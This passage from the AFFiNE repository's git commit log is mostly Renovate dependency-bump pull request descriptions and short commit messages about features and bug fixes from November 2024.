-   build(deps-dev): bump eslint-plugin-jsdoc from 50.3.1 to 50.4.3 in [https://github.com/slackapi/slack-github-action/pull/353](https://redirect.github.com/slackapi/slack-github-action/pull/353) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps): bump [@&#8203;actions/core](https://redirect.github.com/actions/core) from 1.10.1 to 1.11.1 in [https://github.com/slackapi/slack-github-action/pull/354](https://redirect.github.com/slackapi/slack-github-action/pull/354) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!
-   build(deps): bump codecov/codecov-action from 4.5.0 to 4.6.0 in [https://github.com/slackapi/slack-github-action/pull/355](https://redirect.github.com/slackapi/slack-github-action/pull/355) - thanks [@&#8203;dependabot](https://redirect.github.com/dependabot)!

**Full Changelog**: https://github.com/slackapi/slack-github-action/compare/v1.27.0...v1.27.1

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMS41IiwidXBkYXRlZEluVmVyIjoiMzkuMTEuNSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-15 02:38:19 +00:00
renovate
78ef9fee34 chore: bump up codecov/codecov-action action to v5 (#8832)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [codecov/codecov-action](https://redirect.github.com/codecov/codecov-action) | action | major | `v4` -> `v5` |

---

### Release Notes

<details>
<summary>codecov/codecov-action (codecov/codecov-action)</summary>

### [`v5`](https://redirect.github.com/codecov/codecov-action/compare/v4...v5)

[Compare Source](https://redirect.github.com/codecov/codecov-action/compare/v4...v5)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMS41IiwidXBkYXRlZEluVmVyIjoiMzkuMTEuNSIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-15 00:49:48 +00:00
forehalo
18089c7369 chore(i18n): update completenesses 2024-11-14 20:16:16 +08:00
darkskygit
991e0b9b63 feat: improve challenge test case (#8825) 2024-11-14 10:22:38 +00:00
DarkSky
129cceade9 feat: add compatible for captcha request with challenge (#8827) 2024-11-14 10:22:02 +00:00
forehalo
055fa0a8b4 fix(core): polyfill iterator helper for safari (#8824)
fix AF-1691
2024-11-14 09:59:01 +00:00
forehalo
9f3dceb220 feat(server): add captcha runtime flag (#8823)
fix AF-1702
2024-11-14 09:41:37 +00:00
forehalo
6a64055886 fix(core): auth fail reason should be error.name (#8822)
fix AF-1701
2024-11-14 09:24:01 +00:00
EYHN
c712e87114 fix(core): warning when open center peek (#8819) 2024-11-14 09:04:38 +00:00
CatsJuice
343152e162 fix(core): center peek zoomIn animation not work in firefox (#8817) 2024-11-14 08:30:07 +00:00
JimmFly
97d6f53932 chore: remove community link from header (#8818)
close AF-1695
2024-11-14 08:15:01 +00:00
Brooooooklyn
44e00f67c4 ci: fix release notes generation (#8815) 2024-11-14 07:13:02 +00:00
CatsJuice
39cb1b7714 chore: bump theme, update mobile home background color (#8799) 2024-11-14 06:57:08 +00:00
donteatfriedrice
6f5c61b8b6 feat(core): update import entry in all page and page list (#8814) 2024-11-14 06:41:01 +00:00
CatsJuice
87520e9bf9 fix(core): center peek can't open in firefox and safari (#8816)
close AF-1690
2024-11-14 06:23:34 +00:00
github-actions[bot]
181b213a3e chore(i18n): sync translations (#8785)
Co-authored-by: Crowdin Bot <support+bot@crowdin.com>
2024-11-14 06:22:20 +00:00
L-Sun
a8938ab403 chore(mobile): disable reference popup on mobile (#8743)
This PR disable reference node popup on mobile. Close [BS-1730](https://linear.app/affine-design/issue/BS-1730/%E7%A6%81%E7%94%A8-block-yuan%E7%B4%A0%E7%9A%84-toolbar)
2024-11-14 04:47:31 +00:00
darkskygit
ca8bb6dc90 feat(server): make copilot test faster (#8806) 2024-11-14 04:24:28 +00:00
forehalo
21c7d1810d chore: bump base version to 0.18.0 2024-11-14 11:41:51 +08:00
forehalo
2fa843b960 ci: wrong replica config for stable 2024-11-14 11:37:23 +08:00
renovate[bot]
9469b135c5 chore: bump up @blocksuite/affine version to v0.17.32 (#8805)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-11-13 12:01:28 +00:00
Brooooooklyn
c0f6a60a66 fix: migrate to standard import attributes (#8803) 2024-11-13 08:52:05 +00:00
CatsJuice
c32b29a293 fix(core): onboading performance improvement (#8790)
- compress images
- remove noise assets (700kb)
- remove lottie animations
- remove `perspective` after paper animation to reduce layers
2024-11-13 08:25:05 +00:00
fundon
f85dfae63b chore: enchance copy link action (#8797)
What's Changed

* enhance copy link action
* detect compatibility
* fall back to `document.execCommand`
2024-11-13 08:07:08 +00:00
forehalo
b3b1ea2f33 fix(electron): make sure updater receive correct installer files (#8798)
fix AF-1680
2024-11-13 07:48:37 +00:00
pengx17
01d1631fe8 fix(core): peek view animation use zoom when possible (#8793)
fix AF-1667
2024-11-13 02:40:01 +00:00
fundon
b5fa8472d9 chore: improves scrolling performance and loading component for dark theme (#8795)
What's Changed

* improve scrolling performance
* loading component for dark theme
2024-11-13 02:25:03 +00:00
EYHN
17c247af53 fix(core): speed up navigation performance (#8794)
add some memo...
2024-11-12 13:22:59 +00:00
Fangdun Tsai
f4abe39689 feat(core): pdf preview (#8569)
Co-authored-by: forehalo <forehalo@gmail.com>
2024-11-12 19:12:31 +08:00
renovate[bot]
73283df3e1 chore: bump up @blocksuite/affine version to v0.17.30 (#8792)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
Co-authored-by: L-Sun <zover.v@gmail.com>
2024-11-12 19:09:30 +08:00
fundon
a5bcfb0b14 fix: reference parameters and add test cases (#8740)
Upstreams: https://github.com/toeverything/blocksuite/pull/8689
Closes: AF-1650
2024-11-12 09:23:57 +00:00
JimmFly
68573aa35e chore: fix typos (#8789) 2024-11-12 08:36:19 +00:00
CatsJuice
a8d664a03e fix(core): avoid shaking when center-peek opened (#8780)
close AF-1668;

We calculate the final width through modalContent at the start of the animation, so the calculated width is unexpected when there is a `padding`.
2024-11-12 08:19:10 +00:00
akumatus
e2b221a451 fix: color of canvas element under embed whiteboard is wrong (#8712)
Fix issue [BS-1762](https://linear.app/affine-design/issue/BS-1762). Related [PR](https://github.com/toeverything/blocksuite/pull/8677) in Blocksuite.

`light` whiteboard with embedded `dark` whiteboard:
![截屏2024-11-05 22.39.18.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/42319032-0940-4a67-b12b-64aeec9c49a6.png)

`dark` whiteboard with embedded `light` whiteboard:
![截屏2024-11-05 22.43.36.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/63c5c747-73dc-4d4b-89c7-281d4bf20fcc.png)

`light` doc with `dark` frame:
![截屏2024-11-05 22.40.01.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/b1eae95f-41aa-4093-8fa1-5641578e8f4e.png)
2024-11-12 08:03:05 +00:00
CatsJuice
98bdf25844 feat(mobile): optimize home header animation (#8707)
close AF-1420

![CleanShot 2024-11-05 at 17.17.29.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/a74ead2d-30ef-4bb1-8714-fdc77dd93335.gif)
2024-11-12 07:28:11 +00:00
pengx17
fa82842cd7 fix(mobile): doc property styles (#8760)
fix AF-1582
fix AF-1671

- mobile doc info dialog styles
- added ConfigModal for editing property values in modal, including:
  - workspace properties: text, number, tags
  - db properties: text, number, label, link
2024-11-12 07:11:00 +00:00
JimmFly
2ee2cbfe36 feat(core): add i18n to descriptions of experimental feature (#8788)
close AF-1554 AF-1556 OPE-185
2024-11-12 06:53:46 +00:00
EYHN
51b00c476c fix(core): remember scroll position switch mode (#8771) 2024-11-12 06:05:51 +00:00
Brooooooklyn
e6a4fc7210 build(native): static link vc runtime on WOA (#8787) 2024-11-12 05:32:23 +00:00
forehalo
bfc8b93a96 fix(core): add missing confirm button variants (#8786)
fix AF-1628
2024-11-12 04:11:12 +00:00
darkskygit
5cde590a4f feat: improve metrics naming (#8770)
fix CLOUD-83
2024-11-12 03:52:52 +00:00
pengx17
cc9a23e424 fix(core): revise open app card text (#8783)
fix AF-1669
2024-11-12 03:16:10 +00:00
JimmFly
6fe2e42490 feat(core): add page width property (#8775)
close AF-1655
2024-11-12 02:58:14 +00:00
donteatfriedrice
713551fbf1 feat: add import snapshot option to import dialog (#8778) 2024-11-12 02:40:57 +00:00
L-Sun
81fc9e1aa1 fix(mobile): typo of identifier when override config (#8773)
Fixed a typo in the mobile patches where the wrong identifier was being used to override `affine:page` configs.
2024-11-12 02:24:14 +00:00
pengx17
35f3fc7b5d feat(electron): spellcheck setting (#8730)
fix AF-1647
2024-11-11 13:03:33 +00:00
pengx17
b3749246f6 fix(core): do not delete tag on cancel (#8776) 2024-11-11 12:10:57 +00:00
Brooooooklyn
64674a539f feat(electron): support WOA native (#8741) 2024-11-11 11:33:58 +00:00
renovate
5605185a00 chore: bump up oxlint version to v0.11.1 (#8759)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.11.0` -> `0.11.1`](https://renovatebot.com/diffs/npm/oxlint/0.11.0/0.11.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.11.0/0.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.11.0/0.11.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.11.1`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.11.1): oxlint v0.11.1

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.11.0...oxlint_v0.11.1)

#### \[0.11.1] - 2024-11-09

##### Features

-   [`4dd9b60`](https://redirect.github.com/oxc-project/oxc/commit/4dd9b60) editor/vscode: Replace existing output channel and trace output channel with a single LogOutputChannel ([#&#8203;7196](https://redirect.github.com/oxc-project/oxc/issues/7196)) (Nicholas Rayburn)
-   [`1fcd709`](https://redirect.github.com/oxc-project/oxc/commit/1fcd709) linter: Add jsx support for only-used-in-recursion ([#&#8203;7120](https://redirect.github.com/oxc-project/oxc/issues/7120)) (no-yan)
-   [`4d577cf`](https://redirect.github.com/oxc-project/oxc/commit/4d577cf) linter: Add `import/first` rule ([#&#8203;7180](https://redirect.github.com/oxc-project/oxc/issues/7180)) (Dmitry Zakharov)
-   [`9b8973f`](https://redirect.github.com/oxc-project/oxc/commit/9b8973f) linter: Add `import/unambiguous` rule ([#&#8203;7187](https://redirect.github.com/oxc-project/oxc/issues/7187)) (Dmitry Zakharov)
-   [`5ab1ff6`](https://redirect.github.com/oxc-project/oxc/commit/5ab1ff6) linter: Implement [@&#8203;typescript-eslint/no-unsafe-function-type](https://redirect.github.com/typescript-eslint/no-unsafe-function-type) ([#&#8203;6989](https://redirect.github.com/oxc-project/oxc/issues/6989)) (Orenbek)

##### Bug Fixes

-   [`eea8879`](https://redirect.github.com/oxc-project/oxc/commit/eea8879) editor/vscode: Update language client id to fix the resolution of the oxc.trace.server setting ([#&#8203;7181](https://redirect.github.com/oxc-project/oxc/issues/7181)) (Nicholas Rayburn)
-   [`b73cfd9`](https://redirect.github.com/oxc-project/oxc/commit/b73cfd9) linter: Fix `is_method_call` with parentheses and chain expression ([#&#8203;7095](https://redirect.github.com/oxc-project/oxc/issues/7095)) (tbashiyy)

##### Refactor

-   [`8c0a362`](https://redirect.github.com/oxc-project/oxc/commit/8c0a362) linter: Use `ctx.source_range(comment.content_span())` API ([#&#8203;7155](https://redirect.github.com/oxc-project/oxc/issues/7155)) (Boshen)
-   [`c5485ae`](https://redirect.github.com/oxc-project/oxc/commit/c5485ae) semantic: Add `ancestor_kinds` iterator function ([#&#8203;7217](https://redirect.github.com/oxc-project/oxc/issues/7217)) (camchenry)
-   [`abf1602`](https://redirect.github.com/oxc-project/oxc/commit/abf1602) semantic: Rename `iter_parents` to `ancestors` ([#&#8203;7216](https://redirect.github.com/oxc-project/oxc/issues/7216)) (camchenry)
-   [`42171eb`](https://redirect.github.com/oxc-project/oxc/commit/42171eb) semantic: Rename `ancestors` to `ancestor_ids` ([#&#8203;7215](https://redirect.github.com/oxc-project/oxc/issues/7215)) (camchenry)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43LjEiLCJ1cGRhdGVkSW5WZXIiOiIzOS43LjEiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->
2024-11-11 10:40:30 +00:00
renovate
846544d887 chore: bump up all non-major dependencies (#8725)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.686.0` -> `3.688.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.686.0/3.688.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.688.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.688.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.686.0/3.688.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.686.0/3.688.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.686.0` -> `3.688.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.686.0/3.688.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.688.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.688.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.686.0/3.688.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.686.0/3.688.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.54.1` -> `0.54.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.54.1/0.54.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.54.1/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.54.1/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.54.1` -> `0.54.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.54.1/0.54.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.54.1/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.54.1/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.54.1` -> `0.54.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.54.1/0.54.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.54.1/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.54.1/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`0.54.1` -> `0.54.2`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.54.1/0.54.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.54.1/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.54.1/0.54.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.9.1` -> `1.9.2`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.9.1/1.9.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.9.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.9.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.9.1/1.9.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.9.1/1.9.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [cloudflare/wrangler-action](https://redirect.github.com/cloudflare/wrangler-action) | `v3.12.0` -> `v3.12.1` | [![age](https://developer.mend.io/api/mc/badges/age/github-tags/cloudflare%2fwrangler-action/v3.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/github-tags/cloudflare%2fwrangler-action/v3.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/github-tags/cloudflare%2fwrangler-action/v3.12.0/v3.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/cloudflare%2fwrangler-action/v3.12.0/v3.12.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | action | patch |
| [electron](https://redirect.github.com/electron/electron) | [`33.1.0` -> `33.2.0`](https://renovatebot.com/diffs/npm/electron/33.1.0/33.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron/33.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron/33.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron/33.1.0/33.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron/33.1.0/33.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [electron-log](https://redirect.github.com/megahertz/electron-log) | [`5.2.0` -> `5.2.2`](https://renovatebot.com/diffs/npm/electron-log/5.2.0/5.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron-log/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron-log/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron-log/5.2.0/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron-log/5.2.0/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [file-format](https://redirect.github.com/mmalecot/file-format) | `0.25` -> `0.26` | [![age](https://developer.mend.io/api/mc/badges/age/crate/file-format/0.26.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/file-format/0.26.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/file-format/0.25.0/0.26.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/file-format/0.25.0/0.26.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |
| [html-validate](https://html-validate.org) ([source](https://gitlab.com/html-validate/html-validate)) | [`8.24.2` -> `8.25.0`](https://renovatebot.com/diffs/npm/html-validate/8.24.2/8.25.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/html-validate/8.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/html-validate/8.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/html-validate/8.24.2/8.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/html-validate/8.24.2/8.25.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`23.16.4` -> `23.16.5`](https://renovatebot.com/diffs/npm/i18next/23.16.4/23.16.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/23.16.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/23.16.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/23.16.4/23.16.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/23.16.4/23.16.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [keyv](https://redirect.github.com/jaredwray/keyv) | [`5.1.3` -> `5.2.1`](https://renovatebot.com/diffs/npm/keyv/5.1.3/5.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/keyv/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/keyv/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/keyv/5.1.3/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/keyv/5.1.3/5.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.454.0` -> `^0.456.0`](https://renovatebot.com/diffs/npm/lucide-react/0.454.0/0.456.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.456.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.456.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.454.0/0.456.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.454.0/0.456.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [mixpanel-browser](https://redirect.github.com/mixpanel/mixpanel-js) | [`2.55.1` -> `2.56.0`](https://renovatebot.com/diffs/npm/mixpanel-browser/2.55.1/2.56.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/mixpanel-browser/2.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/mixpanel-browser/2.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/mixpanel-browser/2.55.1/2.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mixpanel-browser/2.55.1/2.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [msw](https://mswjs.io) ([source](https://redirect.github.com/mswjs/msw)) | [`2.6.1` -> `2.6.4`](https://renovatebot.com/diffs/npm/msw/2.6.1/2.6.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/msw/2.6.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/msw/2.6.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/msw/2.6.1/2.6.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/msw/2.6.1/2.6.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
